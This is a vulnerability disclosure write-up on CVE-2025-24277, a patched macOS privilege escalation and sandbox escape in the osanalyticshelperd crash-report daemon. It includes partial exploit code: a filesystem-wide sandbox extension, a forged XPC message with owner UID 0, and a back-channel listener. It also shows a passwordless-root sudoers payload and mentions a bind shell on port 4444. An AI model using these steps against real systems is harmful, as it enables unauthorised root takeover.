Skip to content

Header

CrashOne - A Starbucks Story - CVE-2025-24277

November 11, 2025

Csaba Fitzl & Gergely Kalman Csaba Fitzl & Gergely Kalman

On a cold autumn day in Budapest in 2024, I met independent security researcher Gergely Kalman at a local Starbucks to swap ideas, dead ends, and updates on our research. Over coffee, we started talking about crash logs, and that’s when we stumbled onto something big.

This article explains how that thread led to CVE-2025-24277: a sandbox escape and local privilege escalation in the osanalyticshelperd process that allows a standard user to gain root on macOS. We worked through several technical obstacles to build a reliable exploit, and we presented the results at Hexacon and Objective By The Sea.

The osanalyticshelperd process generates crash reports when a process crashes. It is invoked by ReportCrash, runs as root, and is heavily sandboxed. Even so, we were able to abuse its report-writing behavior to escalate from a standard user to root.

The Wall

The osanalyticshelperd process is responsible for generating crash logs when an application crashes. It runs as root and produces logs for all processes, including those running at the user level. Crash reports for system processes are written to /Library/Logs/DiagnosticReports/ and are owned by root, while reports for user processes are stored in ~/Library/Logs/DiagnosticReports/ and owned by the user.

The main concern here is that a process running as root is writing files into a user-controlled directory.

Let’s take a closer look. By running fs_usage -w, we can get a better idea of what’s happening behind the scenes.

17:04:48.618895  stat64                                 /Library/Logs/DiagnosticReports                                                                                                                                       0.000005   osanalyticshelper.824931
17:04:48.618924  open              F=3        (R___________)  /Library/Logs/DiagnosticReports

(...)

17:04:48.619044  stat64                                 /Users/csaby/Library/Logs/DiagnosticReports                                                                                                                           0.000002   osanalyticshelper.824931
17:04:48.619055  open              F=3        (R___________)  /Users/csaby/Library/Logs/DiagnosticReports

(...)

17:04:48.641041  open_dprotected   F=3        (_WC__E______)  /Users/csaby/Library/Logs/DiagnosticReports/.crash-2024-09-17-170448.ips                                                                                        0.000505   osanalyticshelper.824931

(...)

17:04:48.641064  fchown            F=3                                                                                                                                                                                        0.000020   osanalyticshelper.824931
17:04:48.641078  fchmod            F=3   <rw------->                                                                                                                                                                          0.000014   osanalyticshelper.824931
17:04:48.641145  write             F=3    B=0x15b                                                                                                                                                                             0.000043   osanalyticshelper.824931
17:04:48.641157  write             F=3    B=0x1                                                                                                                                                                               0.000011   osanalyticshelper.824931

(...)

17:04:48.978892  rename                                 /Users/csaby/Library/Logs/DiagnosticReports/.crash-2024-09-17-170448.ips                                                                                              0.000316   osanalyticshelper.824931

We first observe multiple open calls on the parent directories, followed by an open_dprotected on the temporary log file. The process then changes the file’s owner and mode with fchown and fchmod (that's  where the file becomes user-owned) and finally performs a rename.

A few checks are in place to reduce exploitability:

  1. Both open calls on the directories test whether the path contains any symbolic links. Oddly, finding a symlink does not abort the operation; execution continues. That behavior leaves room for a TOCTOU (time-of-check, time-of-use) race.
  2. The open_dprotected call is made with O_EXCL | O_CREAT, so the helper will not create the file if it already exists.

We did try to redirect the crash reports using symbolic or hard links, but we never succeeded. This was not only because of the above limitations, but also due to the sandbox profile of osanalyticshelper.

The tightest restriction is the sandbox profile at /System/Library/Sandbox/Profiles/com.apple.osanalyticshelper.sb. It limits writable locations to a very small set, essentially /Library/Logs and /Library/OSAnalytics, and nothing outside those paths.

Except that…

The Light

We eventually noticed a single line in the sandbox profile that changes everything:

(with-filter (extension "com.apple.osanalytics-sandbox.read-write")
  (allow file-read* file-write*))

This means that if a file carries the com.apple.osanalytics-sandbox.read-write sandbox extension, osanalyticshelperd is allowed to read and write that file despite its otherwise strict profile. That looks promising. Before we show how to get such an extension into play, let’s briefly review what sandbox extensions are and how they work.

Sandbox Extensions

A macOS “sandbox extension” is a signed token (a simple C string) that temporarily extends a sandboxed process’s privileges. It's most often used to grant read or write access to a specific file path, though it can also apply to other resources like Mach services.

To make this work, someone needs to issue (create) a token in a process that already has access, pass it to another process, and then the receiving process has to consume it to gain the extra right. The token encodes the resource and class, and is hashed/signed by the kernel.

There is a private API defined in libsystem_sandbox.dylib to work with tokens directly, for example:

char* sandbox_extension_issue_file_to_self(const char *sandboxEnt, const char *filePath, int flags);
char *sandbox_extension_issue_file(const char *extension_class, const char *path, uint32_t flags);
int sandbox_extension_consume(const char *token);
char* sandbox_extension_issue(const char *ext, int type, int flags, const char *subject);
char *sandbox_extension_issue_generic(const char *extension_class, uint32_t flags);
char *sandbox_extension_issue_file_to_process_by_pid(char *extension_class, const char *path, uint32_t flags, pid_t);

In our case, if we already have access to a file, we can issue a com.apple.osanalytics-sandbox.read-write sandbox extension to osanalyticshelperd, allowing it to read and write that file. However, issuing the token alone isn’t enough. It must also be consumed by the process to take effect.

Creating a token is fairly straightforward. We used the sandbox_extension_issue_file_to_process_by_pid API call, specifying the root directory (/) as the file path. That effectively makes the extension valid for the entire file system, allowing the process to read and write anywhere.

// Call the sandbox extension API, here we issue a sb extension for the filesystem
char *extension_token = sandbox_extension_issue_file_to_process_by_pid(
extension_class,  // Type of extension (read-write)
"/",// Path to the file or directory
flags,// Additional flags (set to 0)
target_pid// PID of the process to grant access
);

Consuming The Token

So, we can create a token, but we still need the daemon to consume it. The osanalyticshelperd process does this by calling the OSASandboxConsumeExtension function, which lives in the OSAnalytics framework. This is where the daemon actually consumes the sandbox extension, allowing it to use the additional permissions we issued.

__int64 OSASandboxConsumeExtension()
{
  return _OSASandboxConsumeExtension();
}

Let’s review this function.

__int64 __fastcall OSASandboxConsumeExtension(id a1, __int64 a2)
{
  __int64 v2; // rbx
  id v3; // rax
  __int64 v4; // rax
  double v5; // xmm0_8
  __int64 v6; // rax
  __int64 v7; // r14

  v2 = MEMORY[0x7FF94007AC88](a2, a2);
  v3 = j__objc_retainAutorelease_2(a1);
  v5 = MEMORY[0x7FF94007AC20](v3, "UTF8String");
  if ( !v4 )
  {
    if ( j__os_log_type_enabled_5(MEMORY[0x7FF940000998], OS_LOG_TYPE_ERROR) )
      initHardwareInfo_cold_1_60(v5);
    goto LABEL_10;
  }
  v6 = j__sandbox_extension_consume_0(v4);
  if ( v6 < 0 )
  {
    if ( j__os_log_type_enabled_5(MEMORY[0x7FF940000998], OS_LOG_TYPE_ERROR) )
      OSASandboxConsumeExtension_cold_2();
LABEL_10:
    (*(void (__fastcall **)(__int64, double))(v2 + 16))(v2, v5);
    return MEMORY[0x7FF94007AC80](v2);
  }
  v7 = v6;
  (*(void (__fastcall **)(__int64, double))(v2 + 16))(v2, v5);
  if ( (int)j__sandbox_extension_release_0(v7) < 0
    && j__os_log_type_enabled_5(MEMORY[0x7FF940000998], OS_LOG_TYPE_ERROR) )
  {
    OSASandboxConsumeExtension_cold_3();
  }
  return MEMORY[0x7FF94007AC80](v2);
}

As the listing shows, the daemon consumes the extension here, then releases it later.

If we backtrace OSASandboxConsumeExtension, we arrive at an XPC message handler function:

void __fastcall func_handle_createForSubmissionWithXPCRequest(__int64 a1)
{

(...)

  if ( *(_QWORD *)(a1 + 32) )
  {
    v2 = kOSALogMetadataBugType;
    string = xpc_dictionary_get_string(
               *(xpc_object_t *)(a1 + 40),
               (const char *)objc_msgSend(kOSALogMetadataBugType, "UTF8String"));

(...)

    v5 = xpc_dictionary_get_string(*(xpc_object_t *)(a1 + 40), "caller");

(...)

      ((void (__fastcall *)(void *, __int64 *))OSASandboxConsumeExtension)(v24, v43);

(...)

}

This is a massive function with plenty of variables. Instead of reversing it, we decided to attach lldb to the process and sniffed incoming XPC messages. To make the flow reproducible, we also built a tiny binary that crashes on launch, so the entire process is invoked.

int main(int argc, const char * argv[]) {
    char* a = 0;
    *a = 0x41;
}

Here is one of the captured messages:

<OS_xpc_dictionary: dictionary[0x62e0ec000]: { refcnt = 1, xrefcnt = 1, subtype = 1, count = 6, transport = 0, dest port = 0x280b, dest msg id = 0x280b, transaction = 1, voucher = 0x10066f0b0 } <dictionary: 0x62e0ec000> { count = 6, transaction: 1, voucher = 0x10066f0b0, contents =
"options" => <dictionary: 0x62e058660> { count = 9, transaction: 0, voucher = 0x0, contents =
"capture-time" => <int64: 0x9490188b51478dff>: 748511703
"LogType" => <string: 0x62e0282d0> { length = 9, contents = "309_crash" }
"OSASandboxExtensionKey" => <string: 0x62e028330> { length = 227, contents = "5b9d563288ed30916e04895f6208da02f0312497a30e321871826701073e4fbb;00;00000000;00000000;00000000;0000000000000028;com.apple.osanalytics-sandbox.read-write;01;01000016;0000000000131e3f;01;/users/tree/library/logs/diagnosticreports" }
"observer_info" => <dictionary: 0x62e0586c0> { count = 7, transaction: 0, voucher = 0x0, contents =
"frames" => <array: 0x62e0282a0> { count = 2, capacity = 2, contents =
0: <dictionary: 0x62e058600> { count = 4, transaction: 0, voucher = 0x0, contents =
"imageIndex" => <int64: 0x9490188a35ac8347>: 0
"symbol" => <string: 0x62e0289c0> { length = 4, contents = "main" }
"imageOffset" => <int64: 0x9490188a35ad7f87>: 16280
"symbolLocation" => <int64: 0x9490188a35ac8387>: 24
}
1: <dictionary: 0x62e0585a0> { count = 4, transaction: 0, voucher = 0x0, contents =
"imageIndex" => <int64: 0x9490188a35ac834f>: 1
"symbol" => <string: 0x62e0289f0> { length = 5, contents = "start" }
"imageOffset" => <int64: 0x9490188a35af90e7>: 25204
"symbolLocation" => <int64: 0x9490188a35acdb87>: 2840
}
}
"time" => <int64: 0x9490188b51478dff>: 748511703
"images" => <array: 0x62e028240> { count = 5, capacity = 5, contents =
0: <dictionary: 0x62e058540> { count = 7, transaction: 0, voucher = 0x0, contents =
"source" => <string: 0x62e028270> { length = 1, contents = "P" }
"arch" => <string: 0x62e028390> { length = 5, contents = "arm64" }
"base" => <int64: 0x94901882313c8347>: 4304535552
"name" => <string: 0x62e028360> { length = 5, contents = "crash" }
"size" => <int64: 0x9490188a35ae8347>: 16384
"path" => <string: 0x62e028540> { length = 17, contents = "/Users/USER/crash" }
"uuid" => <string: 0x62e0283c0> { length = 36, contents = "0e85d332-d459-362a-a6f2-0cdc6a99066f" }
}
1: <dictionary: 0x62e0584e0> { count = 7, transaction: 0, voucher = 0x0, contents =
"source" => <string: 0x62e0285d0> { length = 1, contents = "P" }
"arch" => <string: 0x62e0288a0> { length = 6, contents = "arm64e" }
"base" => <int64: 0x9490188654038347>: 6647308288
"name" => <string: 0x62e028570> { length = 4, contents = "dyld" }
"size" => <int64: 0x9490188a35edb607>: 534184
"path" => <string: 0x62e0285a0> { length = 13, contents = "/usr/lib/dyld" }
"uuid" => <string: 0x62e028600> { length = 36, contents = "68cc64d1-738b-35fd-968d-0fbd8938819f" }
}
2: <dictionary: 0x62e058480> { count = 4, transaction: 0, voucher = 0x0, contents =
"source" => <string: 0x62e028690> { length = 1, contents = "A" }
"base" => <int64: 0x9490188a35ac8347>: 0
"size" => <int64: 0x9490188a35ac8347>: 0
"uuid" => <string: 0x62e028630> { length = 36, contents = "00000000-0000-0000-0000-000000000000" }
}
3: <dictionary: 0x62e058420> { count = 7, transaction: 0, voucher = 0x0, contents =
"source" => <string: 0x62e028420> { length = 1, contents = "P" }
"arch" => <string: 0x62e028660> { length = 6, contents = "arm64e" }
"base" => <int64: 0x94901886e5000347>: 6880071680
"name" => <string: 0x62e0286c0> { length = 17, contents = "libSystem.B.dylib" }
"size" => <int64: 0x9490188a35ac7ca7>: 8188
"path" => <string: 0x62e028510> { length = 26, contents = "/usr/lib/libSystem.B.dylib" }
"uuid" => <string: 0x62e0284b0> { length = 36, contents = "2066bca7-03d8-3c61-a4d7-a64e9e25ab6d" }
}
4: <dictionary: 0x62e0583c0> { count = 7, transaction: 0, voucher = 0x0, contents =
"source" => <string: 0x62e028480> { length = 1, contents = "P" }
"arch" => <string: 0x62e028450> { length = 6, contents = "arm64e" }
"base" => <int64: 0x9490188656208347>: 6651215872
"name" => <string: 0x62e028990> { length = 24, contents = "libsystem_platform.dylib" }
"size" => <int64: 0x9490188a35af7c67>: 32740
"path" => <string: 0x62e0284e0> { length = 40, contents = "/usr/lib/system/libsystem_platform.dylib" }
"uuid" => <string: 0x62e0283f0> { length = 36, contents = "0b09ae47-f8c6-3a6d-80ae-d25708beaf3d" }
}
}
"name" => <string: 0x62e028960> { length = 5, contents = "crash" }
"isSimulated" => <int64: 0x9490188a35ac8347>: 0
"pid" => <int64: 0x9490188a35ac9b77>: 774
"bug_type" => <string: 0x62e028780> { length = 3, contents = "309" }
}
"Signature" => <string: 0x62e0280c0> { length = 40, contents = "c3ba8770e26e4c56600e8c339aebbc944bbd03d9" }
"override-filePrefix" => <string: 0x62e028870> { length = 5, contents = "crash" }
"file-owner" => <string: 0x62e028210> { length = 4, contents = "tree" }
"file-owner-uid" => <int64: 0x9490188a35ac8cef>: 501
"SubmissionPolicy" => <string: 0x62e0286f0> { length = 9, contents = "Alternate" }
}
"operation" => <uint64: 0x9410188a35ac8377>: 6
"datawriter_endpoint" => <endpoint>
"caller" => <string: 0x62e028c30> { length = 11, contents = "ReportCrash" }
"additionalHeaders" => <dictionary: 0x62e058360> { count = 9, transaction: 0, voucher = 0x0, contents =
"app_version" => <string: 0x62e028120> { length = 0, contents = "" }
"incident_id" => <string: 0x62e0288d0> { length = 36, contents = "904943AE-43BF-42B6-829C-4D6BF52872E4" }
"is_first_party" => <int64: 0x9490188a35ac834f>: 1
"app_name" => <string: 0x62e0280f0> { length = 5, contents = "crash" }
"name" => <string: 0x62e028930> { length = 5, contents = "crash" }
"slice_uuid" => <string: 0x62e028c60> { length = 36, contents = "0e85d332-d459-362a-a6f2-0cdc6a99066f" }
"platform" => <int64: 0x9490188a35ac834f>: 1
"build_version" => <string: 0x62e028bd0> { length = 0, contents = "" }
"share_with_app_devs" => <int64: 0x9490188a35ac8347>: 0
}
"bug_type" => <string: 0x62e028c00> { length = 3, contents = "309" }
}>

And here is a code snippet that recreates the XPC message that we sniffed:

// Helper function to create the XPC message
xpc_object_t create_xpc_message(char* token, xpc_endpoint_t endpoint, char *filename, char *username) {
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);

// Create the "options" dictionary
xpc_object_t options = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(options, "capture-time", -1);
xpc_dictionary_set_string(options, "LogType", "309_crash");
xpc_dictionary_set_string(options, "OSASandboxExtensionKey",token);

// Observer info dictionary and array setup
xpc_object_t observer_info = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t frames = xpc_array_create(NULL, 0);

// Frame 1 dictionary
xpc_object_t frame1 = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(frame1, "imageIndex", 0);
xpc_dictionary_set_string(frame1, "symbol", "main");
xpc_dictionary_set_int64(frame1, "imageOffset", 16280);
xpc_dictionary_set_int64(frame1, "symbolLocation", 24);
xpc_array_append_value(frames, frame1);

// Frame 2 dictionary
xpc_object_t frame2 = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(frame2, "imageIndex", 1);
xpc_dictionary_set_string(frame2, "symbol", "start");
xpc_dictionary_set_int64(frame2, "imageOffset", 25204);
xpc_dictionary_set_int64(frame2, "symbolLocation", 2840);
xpc_array_append_value(frames, frame2);

// Adding frames array to observer_info
xpc_dictionary_set_value(observer_info, "frames", frames);

// Create images array
xpc_object_t images = xpc_array_create(NULL, 0);

// Image dictionaries (5 total as per dump)
xpc_object_t image1 = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(image1, "source", "P");
xpc_dictionary_set_string(image1, "arch", "arm64");
xpc_dictionary_set_int64(image1, "base", 4304535552);
xpc_dictionary_set_string(image1, "name", "crash");
xpc_dictionary_set_int64(image1, "size", 16384);
xpc_dictionary_set_string(image1, "path", "/Users/USER/something");
xpc_dictionary_set_string(image1, "uuid", "0e85d332-d459-362a-a6f2-0cdc6a99066f");
xpc_array_append_value(images, image1);

// Further images omitted for brevity, but you should continue to define and append as per the dump.

xpc_dictionary_set_value(observer_info, "images", images);
xpc_dictionary_set_string(observer_info, "name", "crash");
xpc_dictionary_set_int64(observer_info, "isSimulated", 0);
xpc_dictionary_set_int64(observer_info, "pid", 774);
xpc_dictionary_set_string(observer_info, "bug_type", "309");

// Add observer_info to options
xpc_dictionary_set_value(options, "observer_info", observer_info);
xpc_dictionary_set_string(options, "Signature", "c3ba8770e26e4c56600e8c339aebbc944bbd03d9");
xpc_dictionary_set_string(options, "override-fileName", filename);
xpc_dictionary_set_string(options, "file-owner", username);
xpc_dictionary_set_int64(options, "file-owner-uid", 0);
xpc_dictionary_set_string(options, "SubmissionPolicy", "Alternate");

// Add the options dictionary to the message
xpc_dictionary_set_value(message, "options", options);

// Set additional required keys in the main message
xpc_dictionary_set_uint64(message, "operation", 6);
xpc_dictionary_set_string(message, "caller", "full");
xpc_dictionary_set_value(message, "datawriter_endpoint", endpoint);


// Additional Headers
xpc_object_t additionalHeaders = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "bug_type", "309");

xpc_dictionary_set_value(message, "additionalHeaders", additionalHeaders);

return message;
}

We said it’s massive! Given the complexity, we set a modest initial goal:

  1. Create a token
  2. Have osanalyticshelper consume it
  3. Have osanalyticshelper create a normal crash file

We achieved steps 1 and 2, but the final file never materialized. The logs showed “back channel” errors, so even that modest target was not quite modest enough.

The Back Channel

Reviewing the code behind the “back channel” errors, we found a function we’ll call func_backchannel.

bool __fastcall func_backchannel(__int64 a1, int a2, _QWORD *a3)
{

  if ( os_log_type_enabled((os_log_t)&_os_log_default, OS_LOG_TYPE_DEFAULT) )
  {
    *(_WORD *)buf = 0;
    _os_log_impl(
      (void *)&_mh_execute_header,
      (os_log_t)&_os_log_default,
      OS_LOG_TYPE_DEFAULT,
      "S3. helper service utilizing back-channel with file descriptor for payload",
      buf,
      2u);
  }
  v5 = objc_retainAutoreleasedReturnValue(xpc_dictionary_get_value(*(xpc_object_t *)(a1 + 32), "datawriter_endpoint"));
  v6 = xpc_connection_create_from_endpoint(v5);
  v7 = v6;
  *(_QWORD *)buf = 0;
  v36 = buf;
  v37 = 0x3032000000LL;
  v38 = (__int64 (__fastcall *)())sub_100010DE0;
  v39 = (__int64 (__fastcall *)())sub_100010DF0;
  v40 = 0;
  if ( v6 )
  {
    handler[0] = (__int64)_NSConcreteStackBlock;
    handler[1] = 3254779904LL;
    handler[2] = (__int64)sub_100011538;
    handler[3] = (__int64)&unk_100021108;
    handler[4] = (__int64)buf;
    xpc_connection_set_event_handler(v6, handler);
    xpc_connection_resume(v7);
    v8 = (NSDictionary *)xpc_dictionary_create(0, 0, 0);
    xpc_dictionary_set_fd(v8, "fileDesc", a2);
    v9 = xpc_connection_send_message_with_reply_sync(v7, v8);
    v10 = v9;
    if ( v9 )
      v11 = xpc_dictionary_get_bool(v9, "result");

  (...)

}

This function was responsible for all the related errors. Any error here caused the entire crash log creation to abort. Here is what it does.

It creates an XPC connection to an endpoint retrieved from the datawriter_endpoint XPC object. It sets the file descriptor of the crash log, sends it over and expects a result of “1”, which signals success.

In normal operation, that file descriptor is handed back to the original caller, ReportCrash, which then enriches the log with details such as the stack trace. To reproduce that behavior, we had to stand up our own anonymous XPC endpoint to receive the callback and reply with success.

Here is the code that creates an anonymous XPC endpoint and handles the request.

//this is handling the back channel from osanalyticshelper
static void my_peer_handler(xpc_connection_t connection, xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
//we have a good connection, dictionary is a message
if (type == XPC_TYPE_DICTIONARY) {
printf("Server received message\n");

int fd = xpc_dictionary_dup_fd(event, "fileDesc");

if (fd == -1) {
fprintf(stderr, "Failed to get file descriptor from XPC dictionary\n");
return;
}

close(fd);  // Always close the file descriptor when done

xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_object_t reply = xpc_dictionary_create_reply(event);
xpc_dictionary_set_bool(reply, "result",1);
xpc_connection_send_message(remote, reply);
xpc_release(reply);
}
else if (type == XPC_TYPE_ERROR) {
printf("Received non-dictionary reply. %s\n",  xpc_copy_description(event));
}
}

static void my_connection_handler(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
my_peer_handler(connection, event);
});
xpc_connection_resume(connection);
}

int main() {

(...)

//XPC connection to handle the incoming back-channel request from osanalyticshelper

xpc_connection_t listener = xpc_connection_create(NULL, dispatch_get_main_queue());

xpc_connection_set_event_handler(listener, ^(xpc_object_t event) {
my_connection_handler((xpc_connection_t) event);
});

xpc_connection_resume(listener);

(...)
}

Once the back channel worked, we could create a crash log. By tweaking XPC fields we could place an arbitrary file in the crash log directory, and if that directory was symlinked we could drop the file anywhere. We had partial control over the file contents, but not complete control.

Let’s move on.

The Vulnerable rename

The helper creates a temporary crash log in ~/Library/Logs/DiagnosticReports/ with a leading dot, like .crash-2025-09-04-133431.ips. When logging finishes it renames that file to crash-2025-09-04-133431.ips, effectively removing the leading dot via a call like rename("DIR/.filename", "DIR/filename").

Crucially, that rename is not atomic with respect to the DIR path. The system resolves DIR twice: once for the source and once for the target. That gives us an attack vector. If we swap DIR between those two resolutions with a symbolic link to another directory DIR2, the final target becomes DIR2/filename.

In steps:

  1. Call rename("DIR/.filename", "DIR/filename")
  2. The kernel resolves the source by looking up DIR/.filename.
  3. We replace DIR with a symbolic link that points to DIR2.
  4. The kernel resolves the target path; the symbolic link now makes the target DIR2/filename.
  5. The rename completes and the file lands in DIR2.

It sounds unlikely, but it works. The race window is very tight, so practical exploitation requires either slowing the helper or issuing many fast attempts in parallel to win the race. Now that we can write outside the default log directory, we can turn this behavior into a weapon.

 

Weaponization Strategy

Our goal was to drop a file into /etc/sudoers.d/ with the setting ALL ALL=(ALL:ALL) NOPASSWD: ALL, so that any user could elevate to root without a password. To do that we planned to abuse the previously mentioned rename operation by swapping the directory with a symbolic link to /etc/sudoers.d/. A plain directory swap would only produce a user-owned file in /etc/sudoers.d/, which sudo ignores. We therefore needed two properties simultaneously:

  1. The final file owner must be root (thus somehow survive the chmod at the end)
  2. We must fully control the file contents while not running as root

To solve the second problem we used ACL inheritance.

ACL Inheritance

ACLs are extended file permissions on macOS. We can set more granular permissions on a file or directory than standard POSIX settings. From the chmod man page:

 The following permissions are applicable to all filesystem objects:
           delete  Delete the item.  Deletion may be granted by either this permission on an object or the delete_child right on the containing directory.
           readattr
                   Read an object's basic attributes.  This is implicitly granted if the object can be looked up and not explicitly denied.
           writeattr
                   Write an object's basic attributes.
           readextattr
                   Read extended attributes.
           writeextattr
                   Write extended attributes.
           readsecurity
                   Read an object's extended security information (ACL).
           writesecurity
                   Write an object's security information (ownership, mode, ACL).
           chown   Change an object's ownership.

     The following permissions are applicable to directories:
           list    List entries.
           search  Look up files by name.
           add_file
                   Add a file.
           add_subdirectory
                   Add a subdirectory.
           delete_child
                   Delete a contained object.  See the file delete permission above.

     The following permissions are applicable to non-directory filesystem objects:
           read    Open for reading.
           write   Open for writing.
           append  Open for writing, but in a fashion that only allows writes into areas of the file not previously written.
           execute
                   Execute the file as a script or program.

All these can be set for each and every user. But there's more:

 ACL inheritance is controlled with the following permissions words, which may only be applied to directories:
           file_inherit
                   Inherit to files.
           directory_inherit
                   Inherit to directories.

Inheritance means that if permissions are set on a directory, any file created inside will inherit those same permissions. We can set user read and write permissions on the directory we own, and when osanalyticshelperd creates a file there, those permissions are copied over. This way, even if the file owner is root, we can still edit it. The advantage is that most processes, including sudo, typically don’t check ACL permissions on a file.

Surviving chown

The last piece was surviving the fchown call by osanalyticshelperd so the final file would be owned by root. We achieved that by setting the UID in the crash-report XPC message to 0:

xpc_dictionary_set_int64(options, "file-owner-uid", 0);

That caused the file to retain root ownership.

Now that we have all the pieces, let’s build the exploit.

Putting it Together - Exploitation

The overall exploit is as follows:

  1. Create a directory (Library/zzzz) and set an ACL so that any file created inside inherits the permissions. This gives us access to the file even if it is moved elsewhere and regardless of the owner.
  2. Create symbolic links pointing ~/Library/DiagnosticReports to our directory and another pointing to /etc/sudoers.d.
  3. Via XPC, grant osanalyticshelperd access to the filesystem and request creation of a crash file with a chosen filename (crash_bignumberhere).
  4. There is a condition that helps us win the next race. As discussed, osanalyticshelperd calls back via XPC to our process (normally ReportCrash would write additional details) and waits for our reply. We can hang that callback to stall the helper at the right moment.
  5. Once the temporary file (DIR/.filename) exists, we start swapping the DIR symlink so that the rename race resolves the target to /etc/sudoers.d.
  6. If the race succeeds, the file ends up in /etc/sudoers.d. Because ACL inheritance gives us write access, we can chmod 600 the file and write the sudoers entry that allows passwordless root elevation.

Note: The XPC call can already place a file anywhere on the filesystem where we are the owner or where root is the owner but we have write access via ACL or group permissions. That capability alone is significant, though we did not find a reliable path from that to direct code execution on modern macOS. We could, for example, drop /etc/zshenv on systems where it is missing, but that requires the user to run a shell as their user, so it is not guaranteed code execution. Combining the XPC placement with the rename race, however, lets us escalate to full code execution.

Because the placed sudoers file is writable by our user via the inherited ACL, this exploit can be executed from a low-privileged account.

Sandbox Escape

Apple processes sandboxed via profiles can create files without the quarantine flag being applied. Since we can create a file at an arbitrary location, we can drop an unquarantined file from the sandbox and use it to our advantage. The limitation is that the XPC call is limited to system processes, so we can only escape the sandbox from a system process — specifically any that uses the system.sb profile, which is likely most system binaries:

(with-filter (process-attribute is-platform-binary)
  (allow mach-lookup (global-name "com.apple.osanalytics.osanalyticshelper")))

The profile essentially enables system apps to look up the relevant Mach service.

We created a POC that demonstrates the escape using a screensaver. The escape process is:

  1. Drop a DMG into /Library/Logs/DiagnosticReports. This is the only directory we can use for dropping a file, since we cannot issue a sandbox-extension from within a sandboxed process. osanalyticshelperd has access to this directory by default. Because of this restriction, the escape is limited to an admin context.
  2. During the callback we write our DMG to the file. If we do not call ftruncate on the file descriptor, the quarantine flag will not be applied to the DMG. If we do call ftruncate, quarantine is applied.
  3. We open the DMG and run the embedded app. This app is unsandboxed.
  4. The app runs the previously described LPE exploit and opens a bind shell on port 4444.

The Fix

The XPC call is now protected by an entitlement: com.apple.private.osanalytics.write-logs.allow.

/* @class OSALogHelper */
+(int)createForSubmissionWithXPCRequest:(int)arg2 fromConnection:(int)arg3 forReply:(int)arg4 {
    var_30 = arg0;
    var_38 = [arg2 retain];
    r12 = [arg3 retain];
    var_40 = [arg4 retain];
    r13 = &var_78;
    *r13 = 0x0;
    *(r13 + 0x8) = r13;
    *(r13 + 0x10) = 0x2020000000;
    *(int8_t *)(r13 + 0x18) = 0x0;
    xpc_connection_get_audit_token(r12, &var_C8);
    rax = xpc_copy_entitlement_for_token(0x0, &var_C8);
    rbx = rax;
    if (rax != 0x0) {
            rax = [@"com.apple.security.system-groups" UTF8String];
            rax = xpc_dictionary_get_array(rbx, rax);
            rax = [rax retain];
            r14 = rax;
            if (rax != 0x0) {
                    var_F8 = *__NSConcreteStackBlock;
                    *(&var_F8 + 0x8) = 0xffffffffc2000000;
                    *(&var_F8 + 0x10) = sub_100010306;
                    *(&var_F8 + 0x18) = 0x10001e0d0;
                    rax = [r14 retain];
                    *(&var_F8 + 0x20) = rax;
                    *(&var_F8 + 0x28) = r13;
                    rbx = rbx;
                    xpc_array_apply(rax, &var_F8);
                    [var_D8 release];
            }
            if (xpc_dictionary_get_bool(rbx, "com.apple.private.osanalytics.write-logs.allow") != 0x0) {
                    *(int8_t *)(var_70 + 0x18) = 0x1;
            }
            [r14 release];
    }
    var_50 = rbx;
    var_58 = r12;

With this change we can no longer send a sandbox extension to the process to open broad system access.

Wrap-Up

In this blog post we walked through the discovery and exploitation of CVE-2025-24277. We explained what sandbox extensions are and why they were central to the issue, showed how to talk to the osanalyticshelperd daemon over XPC, and demonstrated how an insecure rename allowed full privilege escalation. Finally, we covered how that escalation could be extended into a sandbox escape and how Apple patched the vulnerability.